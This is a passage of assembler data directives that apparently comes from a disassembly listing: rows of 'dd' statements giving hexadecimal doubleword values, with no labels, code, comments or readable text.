dd 9586648Fh, 8602F6B5h, 0D80121BDh, 0F514568Bh, 0B778B793h
dd 0F3F00322h, 56185AF0h, 84E072D2h, 156DBF05h, 15C43DD0h
dd 4A8AAFB4h, 7AF9DDD8h, 19B0B2B6h, 9E4D5D68h, 958D2077h
dd 0F3545412h, 0D48BDCE9h, 0F6704101h, 0BD21A1FBh, 0D70D0278h
dd 7ECE35FFh, 5502E98Ah
dd 70B1B2ECh, 95345D7h, 94F69FB4h, 1701A740h, 704800E2h
dd 5E2BE477h, 20EEF81h, 603CD95Fh, 0EC94BB96h, 504A26F9h
dd 59D05EFh, 9DFBF21Eh, 7F31D58Bh, 79877F96h, 5C01CAE0h
dd 8D0D0A56h, 0C2A80B63h, 60F6810Fh, 0B7D22840h, 0EE9A956Ah
dd 9D92061h, 0AFF2242Ah, 0AEA073CAh, 0F7E8DEA1h, 702A0E00h
dd 725CBBB9h, 0C2604A08h, 0EADF50EEh, 70C67B55h, 0BD243363h
dd 0A5A8ACCDh, 4221C49Dh, 0D1F05086h, 0CCB61B4Ah, 0AA301AF2h
dd 0E0DD046Bh, 0E8A8A96Fh, 0F98A4A86h, 34FE8A16h, 0B7A0EBAEh
dd 32593D56h, 0A284FFBEh, 0AE757FF2h, 0ABF7C5F6h, 5E7EBB02h
dd 502F45D5h, 783D7F3Fh, 8FBB8919h, 9551036Eh, 85D91D23h
dd 27CE25E5h, 60A7315Ch, 3EBF50FDh, 0BC52E62h, 0E304BC2Dh
dd 0DB67A7F9h, 0C9F4914Dh, 0AA04F0B6h, 83ED5F53h, 54601D64h
dd 8800130Dh, 8EDDC133h, 72290C86h, 82591BDh, 0F8920187h
dd 21882CE2h, 5025B385h, 0FD801DB8h, 8F60A666h, 80FE3D3Fh
dd 6EF1214Dh, 0A9902867h, 7D34568Ch, 0A8A04ED8h, 7BAE4A6Dh
dd 925900A4h, 0D5B7BF69h, 9D4A4BCFh, 686A3F23h, 48E1007Fh
dd 0E9A78D09h, 70B786C9h, 0F7B8C230h, 384DB585h, 126018C4h
dd 9F2521B3h, 5AFEDA9Eh, 979CB329h, 0BB9251DAh, 2B445C8h
dd 608137E2h, 66578C0Fh, 78890BE1h, 185EB523h, 3BE26192h
dd 2EFC5688h, 12B29237h, 0AAC68455h, 16C8079Ah, 15E12CC1h
dd 0B731C62Ah, 1177F2B7h, 0A012A99Dh, 127FDB81h, 131CE59Dh
dd 8D13FF57h, 0F2D167FFh, 59D511A1h, 0E8D4F218h, 9B5E07C0h
dd 0E88E5B94h, 551B2D92h, 4C2FF437h, 5F390B7Bh, 0B8FC8041h
dd 50D2C285h, 0D8BA63BBh, 0B9C1EDF4h, 0BD448C2Fh, 1637FC95h
dd 0C24FDB6Ah, 0FC69D463h, 0AD958561h, 0E029171Ch, 27FCF0F7h
dd 0F5A78CA1h, 0A0A777E4h, 24F85F9Ah, 1F0AB0ABh, 8854EDB1h
dd 0C4CB96D4h, 2AC50460h, 9498900Bh, 0C400D39Bh, 431613B3h
dd 5C002BEh, 29EBE82Eh, 9B91AB63h, 93D01DDh, 0C0A17DBCh
dd 2A152525h, 0C482FB9Eh, 4141929Ch, 4B6072D1h, 50DC6FBBh
dd 2D4AA5AEh, 186F19E7h, 0C55BADBDh, 0A5C7808Fh, 0EA6FD1FFh
dd 41726D02h, 795F0EDDh, 95858474h, 40871604h, 69CD5F9h
dd 0EF97C970h, 34C940B9h, 8C053109h, 579E7BB3h, 5B7FC0FEh
dd 0D25B529h, 0A11C7116h, 0E7C7F86Fh, 30102818h, 811119C6h
dd 0ADE36A50h, 0DC6EE400h, 0EA353C7h, 0AFC87E00h, 0AB1BE959h
dd 80310FB5h, 0B326160h, 0BF55F7B1h, 0AF85059Dh, 0AEA29Ch
dd 252EE7EDh, 0B8368CBEh, 7B174504h, 0B2F13520h, 8F190084h
dd 50A616DCh, 96F4FBA9h, 0D11C720Fh, 0B25FAB4Fh, 9C65695h
dd 7071CDE9h, 57E0B1C2h, 6178BEFBh, 0F89A0403h, 0BABF7F5Ch
dd 0B7847EDBh, 0A694BE41h, 0F6957540h, 8D0816h, 46032DB0h
dd 0E3D7C2C0h, 0DCA9CB01h, 2FB7CF28h, 0F6AB752Eh, 0FED8A013h
dd 708C1D20h, 0F6F2C26Bh, 0EAD990D5h, 3321FF03h, 3C2EC028h
dd 64E80981h, 1D002A88h, 9061CF8Ah, 0FFBA3297h, 0A871F50Bh
dd 5F1E0D09h, 5125C7E5h, 0C1FC2D15h, 0C0C594D6h, 3EB516EDh
dd 8D7E4D02h, 60FF6AD6h, 0EB5A248Bh, 9D295DF5h, 9D3D9D1Ah
dd 35C47456h, 69D38041h, 0B32AB0h, 0B3429200h, 2E9134D1h
dd 0CDFE2F00h, 0E622EDEFh, 278A9070h, 98D771E4h, 4FA5955Ah
dd 0D030AE1Ch, 495F31h, 0BF414413h, 0A46A3D63h, 0F1C6E509h
dd 44807205h, 96456F0h, 0A8130646h, 1555163Ah, 5789B2ACh
dd 0FF101918h, 36B09000h, 9AB237CDh, 7A7F0331h, 164C77E8h
dd 0BA5F6888h, 0F5B2065Ah, 39A90592h, 3042C92Ah, 7D4E1BF5h
dd 0FA7E48BEh, 725B5789h, 327D9873h, 0D937140Dh, 0B8E6D2D7h
dd 0DA743EB4h, 0E8218525h, 3F88E780h, 12B17CDh, 8D950178h
dd 82094508h, 72DD33F9h, 885F4B79h, 0B0046563h, 0C02E28B5h
dd 0A2280B9h, 28CBF0Ah, 4E11B947h, 2A75CD4Ah, 5C33D8C2h
dd 5339C475h, 0AD3784FEh, 0D8B78271h, 6107760h, 2B00A430h
dd 0B9668E9Eh, 805AFE07h, 418213FDh, 7944958Ah, 4026F2EBh
dd 244BC6AAh, 62C18899h, 6E2A4031h, 0B5CC0919h, 0B0B4E0ACh
dd 4CF977Eh, 2B2C6E41h, 0B4D9DD20h, 35DF2733h, 32CC2D6Fh
dd 4C705700h, 51AD5439h, 9F2093Ch, 215F8D29h, 0FB8B9A1h
dd 4D3C1932h, 0A26CE6CAh, 0FCAA3014h, 37B96002h, 4018BEE4h
dd 8208316Ch, 0F723C27Fh, 128E87BDh, 0EF8040B5h, 90D22B8Eh
dd 0B6CCD265h, 0DE8BC5E2h, 94B820A9h, 9A1E7D02h, 5DBBB555h
dd 0C8DF5881h, 0EA0A80ABh, 0D61536Ah, 68D39D88h, 1CC4FAD8h
dd 8088FFB8h, 1127CD8h, 1F4AB59Dh, 98048E9h, 0D8F0A148h
dd 2A13E700h, 776F243h, 0E37B0086h, 600D068Fh, 714A958Bh
dd 0D0B841BBh, 6A613523h, 177C59A6h, 0C26A96EBh, 0BAD52197h
dd 7133FB91h, 92C36F11h, 8F694B29h, 62CAA00Eh, 631097AEh
dd 65009FCEh, 0CB82BFEh, 1E1840DEh, 45530F0Dh, 0FDC145FFh
dd 0A93AB99Bh, 0E9E0D8CAh, 0FA67B51Ch, 0BF027111h, 3D9C05D1h
dd 0B8701F78h, 0E1F31293h, 0FCFDC927h, 41A93CCh, 71B50179h
dd 0C06FAE05h, 7161823h, 0AB44C4BAh, 0C2381C2h, 0FF802CEDh
dd 25B398E1h, 0F8C72681h, 5C04060Bh, 0CB00F472h, 20220DFDh
dd 9F78B580h, 0FBD02B13h, 6A01323Dh, 27645503h, 282EBF69h
dd 178BE1FDh, 0AA1319B6h, 89986038h, 5D136057h, 5F3BB392h
dd 7FF1A429h, 1282F6A7h, 26FBE1F9h, 0B3D2F0E7h, 0FD19761h
dd 7540269Eh, 8D595BC0h, 12A801F7h, 0B71FA713h, 0F1092EE5h
dd 0B6D472F9h, 77514945h, 7189B309h, 49EAB163h, 6290022Fh
dd 9D0E7D74h, 8527E3D4h, 0ECFF2612h, 30F33A1Ah, 0B346A85Ah
dd 2C2BD94Eh, 0CB8AE56Bh, 5AF9DF4Bh, 0B9C5BF83h, 0C16FF8F4h
dd 5902C13Eh, 0F64927E1h, 58DE448Bh, 2013AA74h, 2AD12DAAh
dd 0F601876Ah, 0BB7801CEh, 0BCBC600Ah, 25624579h, 5C1FE1F6h
dd 8C60E465h, 18003E27h, 408C90ABh, 0BC92806h, 61FCD0D7h
dd 1E6899A0h, 0BB89C8E9h, 4B0483C4h, 0F8748C06h, 0F5721297h
dd 5BE008CDh, 901DC256h, 8FC97AAh, 0FD886225h, 7C60BB4Fh
dd 30E762Bh, 1C55AB7Bh, 0C7C1EABFh, 1A272E42h, 2AF2CF00h
dd 671900ECh, 0FBC7816Dh, 5312A070h, 0F21F095Fh, 29FFE056h
dd 0A82139ECh, 0BD0B086Eh, 3B2616F1h, 0FD4D702h, 21CF5501h
dd 0BFD18840h, 941B092Bh, 0B2DF5019h, 0A144F78Fh, 15D85B4Bh
dd 0F6044E46h, 6520E039h, 0E89172D9h, 47320308h, 960EB3EBh
dd 7E4CA2FCh, 886AC900h, 5BFC8A60h, 869CC45Fh, 77564B08h
dd 6F963F31h, 0B525E8A8h, 80BA3DD5h, 0FAA2864Ch, 94AC9ECh
dd 0F1961EECh, 0A8400079h, 5201586Eh, 7E5CA94Bh, 0D2E3A368h
dd 0FB8955DCh, 0ABFA5F70h, 4D23B02Fh, 0A414C044h, 6605AA1Fh
dd 4E6DBAD5h, 1BDD507h, 5BF2563Bh, 50041EEAh, 38B1B5AEh
dd 39324869h, 80174DE1h, 8D0F61F5h, 25D8A0Eh, 2C951Ah
dd 31E1B589h, 0CB7BFBBFh, 0F742656Dh, 0BD5D404Ah, 232B2441h
dd 29890598h, 2BCBBF05h, 0ED4A6838h, 31E8B7h, 501E131Bh
dd 0FC603D71h, 705AE938h, 0E9BAEDB7h, 27526557h, 0BD8A9BF0h
dd 8043E0DEh, 393CB00Ch, 4A80B264h, 7079045Bh, 0EB92BC79h
dd 8152F884h, 22DD104h, 269FD65Fh, 967F4B86h, 4168452Bh
dd 4B80AC39h, 0EE5727EAh, 1657118h, 2F33AECCh, 7F99B16Dh
dd 1DC8A69Ah, 0F75116C0h, 963E01DCh, 0B190A6D6h, 694A6052h
dd 3C80F609h, 8142795Fh
dd 0E6573FBBh, 7A372E08h, 652B85B0h, 27999741h, 398B4156h
dd 505B0019h, 88574B53h, 0AB00D6EFh, 0AD292D26h, 174E6894h
dd 0FB5B5F0Ch, 605FFE3Fh, 3405B046h, 5E8EA500h, 0EB3F57DCh
dd 152A7ABFh, 9AF578D3h, 0D5A293h, 98B409F1h, 97787083h
dd 0E7811198h, 97D50B0Ah, 0DC4C7A19h, 253A96E5h, 3E98EF66h
dd 0CE2A6125h, 0B130C5EFh, 4E0DA604h, 0B1A1B1E9h, 4A9A7AEAh
dd 2BC017C8h, 9786EB1Fh, 0C5EFF09h, 0BCD309DCh, 1C78FE8Ah
dd 99B52909h, 0A5EE7321h, 0D36E10FCh, 0CFB3A212h, 0ABB45F46h
dd 9D6A00A0h, 258207B7h, 0D5129031h, 4F034FD9h, 0D02C5432h
dd 4A7C45D0h, 17B8F749h, 29EE226Dh, 74DA08EBh, 7636BB00h
dd 0CA6AC3A3h, 0B23ECB6h, 7737780Dh, 44BBD000h, 6027AD4Ch
dd 4C10565Fh, 1B5E915Ah, 3EBD6CADh, 0EC4BD4A7h, 894CC565h
dd 9212C108h, 0B63F8856h, 0AF94DA00h, 68F275F5h, 0CF5713ECh
dd 3D3E045Fh, 0ACEFB9B9h, 4C128C16h, 0DBE220CBh, 0F58A4088h
dd 0BA4850h, 91548D64h, 3C976ACEh, 0FA498ED2h, 0DCBD384Dh
dd 980E67DEh, 24B03ABCh, 54B01216h, 2CB7A531h, 0AFCC1695h
dd 24B188h, 0B9092CF4h, 0F0771C18h, 930E5E00h, 0A73C94D1h
dd 45E9EBEh, 0B85B7DAAh, 6BA8D2F7h, 4B36F64Fh, 0DEEE3194h
dd 0E9C9C387h, 0D7CED2EBh, 31099DC6h, 7304399Dh, 174A5DAh
dd 0E4AC2A12h, 332023E2h, 971A119Dh, 3E108C3Bh, 503B0F79h
dd 0A5A2BDA7h, 0D3D2C65Bh, 0CD332525h, 44D30076h, 0E92860EBh
dd 0A82F3B45h, 0C1979DFCh, 0D4B5C90Eh, 1E9123Ah, 0FC4B56E7h
dd 0B0222217h, 0F5B6CFCDh, 0F87BADB3h, 0BF330CBEh, 7186DE65h
dd 95EA10B7h, 5A2EA32Eh, 66DC90B2h, 206130BBh, 0E4EFB29Eh
dd 5596B6BBh, 0C9F2A82Fh, 0F3167787h, 5DBD0108h, 3090121Eh
dd 62ABF27Dh, 96B8C50Eh, 17268098h, 27B750B1h, 0D3B790E7h
dd 0D36FAA00h, 9014C158h, 606E0048h, 0BA66D08Bh, 614E04BEh
dd 0E9E896A9h, 65D6C701h, 8D290E7Fh, 0EF3825D5h, 0F6D71796h
dd 311BB2DCh, 7598FB09h, 2D4E0E50h, 5E5121FBh, 3EF83E37h
dd 6A5B28E1h, 0DA6A0ADDh, 0FFA0825Ah, 7AB7F5D1h, 0F7FA2F00h
dd 4B4019BFh, 4E0B9ECDh, 0BD3F376Ah, 2DF8C184h, 976BF83Bh
dd 0E4A270ABh, 78033A34h, 9531858Ah, 17B8D4A5h, 849EDAD2h
dd 83872921h, 695825B8h, 2F18DBB7h, 0ECAC8EA0h, 14078EBBh
dd 0DF54A361h, 0C041EB03h, 0BD310F5Bh, 0BB0F7346h, 52809C4Eh
dd 0B57FF5E9h, 0C2AD84F9h, 87C8FFEBh, 7BBD1345h, 0D0385AB0h
dd 0BF3A2087h, 1EE60B48h, 0D610FF8Bh, 0FC97A1E9h, 0EFBC58C9h
dd 0CCCD9584h, 7063C440h, 4C4F0498h, 0B857C84Eh, 8A5B0E43h
dd 0C09EF4DCh, 51300317h, 7CD7049h, 0BBE30789h, 0BD338277h
dd 71897057h, 8B539D5Bh, 4B14D988h, 0B0D52B0Bh, 705D6D3Dh
dd 0A04D0971h, 6559BB17h, 81DEEF00h, 0E5033Ah, 61F1EA4Bh
dd 58B67856h, 4E25BE07h, 90A45288h, 80B867FDh, 0E133281Dh
dd 8DF63A84h, 0B9D60DB8h, 0BEBCF3h, 0DCE1D5C7h, 25A19501h
dd 0B0271497h, 5E162562h, 18BD25CAh, 71404D85h, 0FC5A7ABDh
dd 4EB297FEh, 0BFB63E85h, 0B37BDC8Dh, 6A5F0B87h, 0C0FCCDFFh
dd 28F70DF0h, 34D4C000h, 0DF815E2Ah, 8BA517BBh, 0A12B047Fh
dd 0EFA6EA07h, 7D5CBBF2h, 604F17C4h, 63AF275Fh, 0CE21AAF3h
dd 0E096B061h, 6C3CC8Bh, 24AD0C4Eh, 0EE85F100h, 799D8968h
dd 4BFF214Bh, 0FE66883Ch, 0A32E712h, 8BDA75E4h, 0BD23C3E0h
dd 0C17D2A25h, 59DD096Dh, 91F7F92Bh, 0D7419DB7h, 198C50EEh
dd 82B2C71h, 802F322Ch, 4EF9D797h, 79BD1A31h, 6956C91Fh
dd 0E21F5716h, 845B4BE2h, 223A816Eh, 13FC2B7Ah, 0DE089910h
dd 81E9F946h, 0E0505A7Fh, 0F7B4232Fh, 1448E48h, 8ED871B9h
dd 0EB69CEF3h, 1C3CF410h, 0B566D29h, 6C000E65h, 93376E7h
dd 1159B51Eh, 956A782Fh, 6677679Ah, 679195C6h, 0B3706E31h
dd 7E6A8DCAh, 0F8CB0754h, 2125D687h, 0C9F94FEBh, 78642E27h
dd 33978204h, 68070584h, 56898D31h, 71B858E7h, 40DE6FB5h
dd 0C4C85DDAh, 4DA166Bh, 0AA6413F0h, 3D0EF76Ah, 99410B77h
dd 3EDF31FAh, 22751604h, 19BC69B9h, 7E14028Ch, 281E1B76h
dd 0D100C7C6h, 4834CF2h, 0D0919Eh, 0F152AE9Dh, 0F8B989F9h
dd 37AA29D2h, 68F62F9h, 4A50782Bh, 0A248E62Ah, 0AD98301Ch
dd 0D7838D00h, 23877BDAh, 82A805BBh, 0E6FC196Fh, 63BAE177h
dd 1487EFF4h, 0D3491A2Fh, 12170910h, 88EBC02Bh, 1300AC8Ah
dd 5EE187D9h, 48F89E4Dh, 89004B60h, 0BDDC0C76h, 42C5B08Fh
dd 61AE2041h, 2A63B30Bh, 95841BB6h, 81534021h, 25BEA7C7h
dd 927F2252h, 41986056h, 135BB504h, 84C31579h, 2E8EE121h
dd 257E4913h, 0FCB51C00h, 371DF288h, 0D00096A6h, 0A0988BFBh
dd 0F00CCA68h, 2F047A4Eh, 0E5DE894Fh, 5A615969h, 12DE84F7h
dd 0CE7AFEh, 0B310A1E8h, 2D76D73Fh, 7D94112h, 358B4BBEh
dd 0A4EF5525h, 1C94DC69h, 53DB27B8h, 2557B6D8h, 44DBD3B7h
dd 48E3D912h, 897FF825h, 4419598Fh, 12C054ACh, 0E9AC3371h
dd 274FB4E3h, 0E9A8C684h, 205E6EA3h, 96C1999Bh, 0EC621941h
dd 0F64CCAAAh, 157316BFh, 6917F04h, 76CD6009h, 1ABFE2C0h
dd 56BA6E8Dh, 25861E6Ah, 0EF762B62h, 958AE840h, 4B630E4Dh
dd 0DF4278D8h, 95C2164h, 0C029CD27h, 0C09650EDh, 0EC167202h
dd 5CA62D65h, 15E892Dh, 4BFBD55h, 0C4F5838Bh, 0B9DB1792h
dd 0DEA25A0Bh, 694B9FA8h, 0BC0AC9BDh, 0A5F888D5h, 0D59E8270h
dd 0D6EAFC2Dh, 0F7C995BEh, 0F15FCF1Ah, 0D7DBF28Ch, 0CF684B00h
dd 12DAAB4Ah, 4E149FF7h, 0AB135564h, 71C4F99Eh, 5A89AB29h
dd 0DDD8001h, 96A9A36Ah, 0BB03ECE6h, 5650A345h, 0F792DAA8h
dd 5DFF3C4Bh, 33C62490h, 4A848734h, 0D8090E89h, 0C6664D58h
dd 4D20F8C4h, 0D1BB0420h, 0A82BAC31h, 0F801C9DDh, 0CDBA959Ch
dd 56406F74h, 36A5ECh, 1B69EBA8h, 0FF0CE72Bh, 4653BC00h
dd 0E9B82E10h, 95349A28h, 0A9B3C798h, 0CD59B725h, 641C64CAh
dd 0A86EEFDh, 925DAB3h, 96CFCE1Dh, 0E2404020h, 8400194Bh
dd 42C434FEh, 148A2365h, 6FE860DEh, 0C86A8902h, 0F40AE9Bh
dd 0C6730A68h, 0AD716000h, 0EB0586Ch, 2078B05Eh, 61252CA9h
dd 9CC0CE5Fh, 0D05D4ABh, 0FD58531h, 7406BD49h, 7B01DCC7h
dd 95AAEC2Dh, 312EEF6Dh, 3A8D89B9h, 0A23A22E5h, 26BA8BBh
dd 6CB88BDBh, 0DA5C4CB5h, 59B725h, 8F3F1BDDh, 0BD4B8922h
dd 0B55037F4h, 4D17261h, 86A420EBh, 0E02D91CEh, 2D7C5993h
dd 5D083859h, 181F5320h, 6282DE9h, 0F2D20148h, 4BB1DC50h
dd 7FFBA755h, 8DBB42A4h, 0BFD44CC4h, 74541C0Fh, 0BB003C14h
dd 66DE27AFh, 9E10A089h, 370C17DCh, 128BF858h, 0ADE72F3Eh
dd 0C49D2922h, 27152085h, 0AC8604Bh, 0A10B28F9h, 2B1412AFh
dd 62DDEAEEh, 56E1E62Ah, 1ED1006Ah, 0A6A51C86h, 0F7260E25h
dd 0BFA1E91Bh, 0E00890E7h, 60375EBDh, 0C6A94B61h, 7BBB0545h
dd 0E2179655h, 94821EFFh, 79AB3F00h, 7C16C2h, 522D030h
dd 4D12CAAEh, 25DBC49Fh, 8FF53D1Ch, 3CF9C020h, 1DF132DAh
dd 858485D9h, 4784AEAh, 92A3185h, 0CB705E5Fh, 144B2B78h
dd 90418DAh, 0AF1C05B5h, 0ED5B512Ah, 2E4AC9Fh, 365620Bh
dd 0E97FBD29h, 407FE92Eh, 0B0F781B0h, 374B30AFh, 0BBB8BF8Eh
dd 0AF73893Ah, 1A0376Fh, 0CFB9A621h, 1D422E95h, 42DA8B60h
dd 92D074D8h, 9028AC1h
dd 5D044C85h, 0AA029A3Dh, 551148D9h, 0F516AC62h, 0FE041D25h
dd 0D248F606h, 0CA5838C0h, 16C836DAh, 0EB7E83C1h, 88CE103Eh
dd 4AEC8505h, 919AEA24h, 0EDC149D5h, 0C19F03D4h, 778D6AABh
dd 97DEBFD8h, 6274B809h, 57820EF6h, 0E8F20895h, 16351009h
dd 0B9850905h, 7471AE1Bh, 1D7EFDB7h, 529F13ACh, 1356E8C7h
dd 71AEF8B3h, 4135597h, 856513AAh, 286BABECh, 0F1041623h
dd 0A7AA75B1h, 5A21F035h, 9ED75F6h, 118D9D0Bh, 64C6F7h
dd 7FE724ADh, 0CAD34110h, 62460502h, 75659512h, 539D03CCh
dd 794DAFFFh, 0D6223C0h, 1F1A0261h, 0C642BF66h, 3DB7DA70h
dd 1CE88037h, 2D89B667h, 0B28D0209h, 257778C8h, 5AE0DF8Bh
dd 3921BD0Bh, 95014024h, 0EE9519D9h, 40D9BE26h, 697FE39h
dd 4E124501h, 0D6779F6h, 0BC0FF93Bh, 2A820002h, 9DBDBF60h
dd 892D1E86h, 4BECFA95h, 367FFE61h, 0D82BDE0Eh, 6A223F20h
dd 0EC4F7F13h, 17B21EE6h, 2E8AE30h, 9D091B6Bh, 7B5D0151h
dd 0B7280E1h, 0A75965A0h, 5D15B500h, 259A8EA9h, 33AF1662h
dd 0B0D380DEh, 2A905EA0h, 4B78C15Dh, 280D6EEEh, 0CD95F10Ah
dd 621A6476h, 6CC7414Ah, 9092B8FCh, 0FCE425FEh, 47908BE6h
dd 974BC595h, 0EC17F939h, 50722F6Bh, 0D9E1D290h, 3AC91500h
dd 0B6C89F3Bh, 2F8E1564h, 1273935Eh, 0BF1831BDh, 178996DBh
dd 42CE9C30h, 209C2DF2h, 444A742Dh, 9F5EDF35h, 51B69FC2h
dd 0BF65F55Bh, 4A8B6750h, 0DD6AFFFAh, 3FC01149h, 8E885F5h
dd 89A0BF04h, 94BC0AE7h, 42B55A2h, 0AD489DFh, 0C8C39AEAh
dd 80AFC514h, 3423F698h, 7BC63C27h, 5A5DD24Eh, 338F2669h
dd 4B5625C9h, 8908A578h, 15B16AB6h, 0BC21FD6Ah, 829F0075h
dd 9EA36365h, 0AA98B70Fh, 2E41BD12h, 0B6B435BCh, 9820A080h
dd 6F7E021Fh, 21C0FBA7h, 9375C0E2h, 0C87416A1h, 70FAE261h
dd 186C6D04h, 0B3EF3599h, 72A84BC7h, 0B6240413h, 2C0BE064h
dd 313CC2D6h, 0B754DD95h, 4C588349h, 49F03888h, 0B713E53Fh
dd 0D224ABD2h, 524EFAEDh, 0B88DB9F1h, 49D9092Dh, 0FE749DC5h
dd 6ACA0C05h, 466FAFh, 374E550Dh, 4B3641FDh, 0DEDCD2F9h
dd 5060BB14h, 0B10EF909h, 0D23AC74Dh, 0D559C6F7h, 0D1FACCACh
dd 0F604E777h, 2E35B529h, 0E775FF0Fh, 374F70BCh, 23C574F1h
dd 38DE8E2Bh, 0CDB5708Dh, 0EDC4E063h, 597DB099h, 6A148C09h
dd 25D6DE02h, 0F67B1C42h, 0B8E577DAh, 91D541A5h, 158D2910h
dd 5A8B2044h, 0AC45ADD9h, 1589B16h, 9BD67A9h, 26443A85h
dd 97BCE7E9h, 0E58253E3h, 406FA3D4h, 3F79DE17h, 166C5CDDh
dd 0A71C0512h, 6A9A0BCh, 0C27B07F7h, 14B53190h, 0EBD8BE15h
dd 0CDD2B5E1h, 7A13F700h, 0B8483A24h, 0AC501283h, 4BA0F3F4h
dd 0C280EAA9h, 36615198h, 6B1C0C14h, 58F113D9h, 3433430h
dd 107705BCh, 0FA506189h, 0BFDCC58Dh, 0A2F004C2h, 0EE905F57h
dd 0CAC065DBh, 1A3066DFh, 2C9DEEA8h, 95F96EBDh, 29824E5Bh
dd 57056595h, 0DA5AAE16h, 0BB8C34EBh, 0DC605BF4h, 4135054h
dd 6A615950h, 0C1F39BEEh, 286E785Eh, 0CDB4816Fh, 4AC50826h
dd 4330FA23h, 0D8F9EEh, 4CA1CC26h, 0DD10AB98h, 3B0AC701h
dd 0ED7CC94Fh, 0D4AF1750h, 0D480345h, 0BD775FBFh, 0C72390F0h
dd 60FF2004h, 0CFBC7FAEh, 0D4CB8080h, 0BB014E91h, 0F810A070h
dd 0D7C65B12h, 142E6839h, 51E1F2AFh, 26943FA1h, 173AC9AAh
dd 39E3F046h, 66005C31h, 2A470B27h, 58B536Fh, 8AC4450h
dd 32E0CCF3h, 4204A700h, 0AF8A9A25h, 0B81C008Bh, 0E45F33E7h
dd 0BB126671h, 83F46FD1h, 858988E5h, 4BC17D5Dh, 0DC8A8380h
dd 3098BDBAh, 60801C4Dh, 0BD3124F5h, 0FAC1C5FCh, 0AD4A0CE2h
dd 299D0863h, 606C6A0Eh, 888CD8AFh, 2B0083F4h, 0EADB81C8h
dd 33495436h, 0D590D18Bh, 92E96112h, 0D92D45F2h, 2D2E2AD8h
dd 440E8E25h, 325F2C4Ch, 8D939F05h, 3DBA384Eh, 7A22B841h
dd 6EE2DA09h, 0B1857B0Ah, 3B2EE5F0h, 52D3C5FCh, 285E35Ch
dd 3C9FADBBh, 44845E17h, 40E84A3Bh, 0EE9B0800h, 18A1459Fh
dd 0C447A7CBh, 4E098BD7h, 5DBD2B5Bh, 895CFE62h, 38F0FC1h
dd 0D0447E49h, 0B191795Dh, 0B08E984Bh, 37E48025h, 91187CBh
dd 3E1D94h, 7F0C7CCh, 61AA244Ah, 122BAD3Ah, 0CD866A06h
dd 7784E0F0h, 7F021EC8h, 83F971C1h, 0ECD55E1h, 0A35855E0h
dd 46FC563Dh, 0EF0EA2B0h, 131640Bh, 0C69AC079h, 0C02B0961h
dd 1C78FD8Ah, 400D4F9Fh, 9F403BD5h, 0FA9D5BB5h, 61C3AAFCh
dd 0D384E2E8h, 0BD97080h, 9345C104h, 4D80F9D6h, 0B5CE85EFh
dd 1444D8CDh, 0F4FC1E62h, 5D4A622Dh, 5352ABFBh, 0F835033Fh
dd 0B0FA34C1h, 1E0E9D85h, 8DE4401Fh, 0F676E3D4h, 884CB102h
dd 55EBCD22h, 5BC9D90Fh, 0DEB7AA78h, 0C5F6F454h, 0B0F70502h
dd 5759BF37h, 0CDAFF317h, 0D0E14727h, 0FDA398D4h, 0BCE69501h
dd 0C18A60C8h, 4C9D7330h, 0BD84BC1Eh, 6001D399h, 3C8B888h
dd 0D07CC724h, 291DB10Ch, 0AAE32780h, 4E201455h, 54DADC3Fh
dd 4C2D472Ch, 2021FA00h, 4DD6789h, 0F39615C4h, 0C1EBC1C2h
dd 0F6B66A22h, 0BD081D58h, 660231DDh, 7D042DB9h, 0BB813751h
dd 68FFED69h, 0F1DAC8CAh, 0AAC79508h, 0B64B7511h, 79B50915h
dd 0C4977905h, 0C37BAE77h, 3146D200h, 0C5539173h, 0B7CA8F4Bh
dd 0BDFD1127h, 606B0905h, 1DC3DF6h, 2FD394EEh, 23D6CC0Dh
dd 8228007Bh, 442DA3C8h, 0C30C01ABh, 0EE3548DDh, 0E5E02E11h
dd 559B125Ah, 6DBCF15Fh, 121CB8E2h, 0EAF88B48h, 0C1802D9Eh
dd 2F7387CBh, 35AE2D4Eh, 11DB82A4h, 3C4B517Dh, 0D3CFB570h
dd 0EA9DD40h, 0E3B94FA4h, 2FAC5AC2h, 0C61E1FAAh, 2C4A86C0h
dd 1E811A87h, 9268B9F3h, 12CEF30Bh, 0A5377CB3h, 8A4BC580h
dd 0D7740316h, 9BA46055h, 33E8C6C0h, 250212Fh, 6124046Ah
dd 9EA7DB95h, 0CCA355E1h, 1011B68h, 0ECBFE26Dh, 0F6E3D0B0h
dd 2E4092Eh, 0EB511DB2h, 5CC7B78Bh, 155E263h, 4F021D22h
dd 96386E5Fh, 0F34BC8D3h, 9B3E41C9h, 1800DC35h, 0D129D9CDh
dd 704A2752h, 0EADC7643h, 15C8C7DBh, 84A03BC2h, 5DBCFAA8h
dd 0B242B74Fh, 1251FC6Dh, 0AC0ABD0Bh, 7138C16h, 0C8EE5280h
dd 6568924h, 8B51B026h, 31520B8Eh, 38DEBD95h, 792D75ABh
dd 617500BEh, 3B13E632h, 0D4499600h, 564D06CFh, 955850BCh
dd 0FC5B25FEh, 48353BE2h, 0F5335C86h, 1BD20DCh, 0DA1F965Fh
dd 0D9A5C9E5h, 5AFC4007h, 965E5B58h, 5E1BC2C2h, 0AD9DEF32h
dd 683CD472h, 9A32001Eh, 2EF17BFh, 983926Fh, 65EC7AE1h
dd 144AC8D8h, 6BB511B8h, 89DD0476h, 52E5FD8Dh, 85802F78h
dd 0E39AF4AAh, 54839C00h, 15D734FFh, 0AB200C7h, 11446338h
dd 0DA4A8B6Ch, 9A3DE7E5h, 0E902D8B8h, 0DE525D54h, 2573F60Eh
dd 2500BDE4h, 41E1F78h, 5372B4Bh, 176883D0h, 0D59C09B3h
dd 14D7D362h, 61868D6Ah, 0CCD2BB9Ch, 61127DF9h, 49CCF88Ah
dd 3BCB2580h, 24B3BDFFh, 282EE00Ch, 0B4C2D0A1h, 0F55DBC71h
dd 372F0C6Dh, 0D147040Dh, 15538140h, 0C4E9032Ah, 0D349DEAFh
dd 0EE8A52BBh, 0F92FA6C9h, 16C9AEE0h, 0E7464D30h, 8531E11Ch
dd 0D8EF349Ah, 0A51BDC9h, 4F04D562h, 0AB6808h, 3E9C1084h
dd 3C4EEF56h, 98B664E0h, 990EA52Ch, 7F666F9Eh, 520119F7h
dd 2D264BBh, 36A82E74h, 52DD89CEh, 1DDDFF34h, 4C7344ADh
dd 51B5ADh, 0CA39EAE3h, 385A37A3h, 0F9308387h, 5BDCB796h
dd 54062050h, 0B055D6Fh
dd 912AC925h, 8F0030A2h, 9257D983h, 2D0C4DE7h, 481523FEh
dd 0A45B4CFBh, 97D39B4Ah, 744C90ABh, 0E52DB83Ah, 8E470892h
dd 2C59C44Eh, 0C8FEDBBFh, 9256C317h, 1E4065A2h, 0B9971AC9h
